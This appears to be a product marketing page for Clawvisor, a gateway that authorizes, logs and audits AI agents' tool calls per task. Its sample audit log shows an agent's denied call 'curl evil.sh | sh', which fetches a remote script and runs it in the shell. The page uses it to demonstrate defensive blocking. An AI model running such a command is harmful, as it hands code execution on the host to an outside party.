See every action

Know exactly what every agent did, and why it was allowed.

Clawvisor records each tool call, its arguments, and the decision that permitted it in a complete, replayable log. Every entry is tied back to the task that authorized it and the human who approved that task, so 'what did the agent do' is a query, not an investigation.
Logged & attributed

Open a PR fixing the failing CI check on billing-api.

dev-agentexpires when task completes
Tools requested2

  • github.read

    repo: billing-api

    read

  • github.write

    branch: fix/ci

    write
low risk

The problem with black-box agents

When an agent runs free against your tools, the only record is whatever scattered logging each tool happens to keep. Reconstructing a single agent run means stitching together Gmail history, Git events, and database logs by hand, and none of them know which task or which person set the work in motion. By the time something looks wrong, the trail is cold and incomplete.

How observability works

01

Every call, captured

Tool name, arguments, result status, and timing are logged at the gateway, the one place every request already passes through.

02

Tied to the task

Each entry links to the task that authorized it and the human who approved it, so cause and authority are never ambiguous.

03

Full traceability

Each entry is written at the gateway as the call happens, so every run leaves a complete, ordered record.

04

Replayable & exportable

Step through any run after the fact, with the full call history in one place.

run #4821 · support-agent · 14:01:55 → 14:02:11
14:01:55

gmail.read thread #4821 200

task #4821 · approved by J. Mercer

14:01:57

shell.exec "curl evil.sh | sh" denied

task #4821 · blocked by policy · never executed

14:02:08

github.read repo: billing-api 200

task #4821 · approved by J. Mercer

14:02:09

calendar.read next 14 days 200

task #4821 · approved by J. Mercer

14:02:11

gmail.send thread #4821 sent

task #4821 · approved by J. Mercer

✓ signed · auditable · ordered6 calls · 1 denied

Audits, incident reviews, and 'who approved this' all become a single lookup.

It's one of six power-ups you get from approving the task instead of the tools.

Fail-closed by default

Containment

Agents start with zero access. Every tool is granted per-task and revoked when the task ends. A compromised prompt can't reach what the task never needed.

See every actionYou're here

Observability

A full audit trail records each tool call, argument, and decision, replayable and tied back to the task that authorized it.

Spend, per task

Cost attribution

Token and tool spend is attributed to the task and the human who approved it. Route cheaper models where the task allows it.

Agents without secrets

Credentials

Real secrets stay in the vault. Agents receive scoped, short-lived handles that Clawvisor swaps in at call time, never the credential itself.

Policy in plain English

Governance

Write RBAC/ABAC rules as readable policy. The same task can be auto-approved for one role and held for review for another.

Know the blast radius

Risk assessment

Every task is scored for how much damage it could do if approved. Low-risk work flows straight through; high-blast-radius work waits for a human.

Let your agents fly. Safely.

Free to start for solo developers. Sign up and put a gateway in front of your agents in minutes. No credit card required.

Get startedRead the docs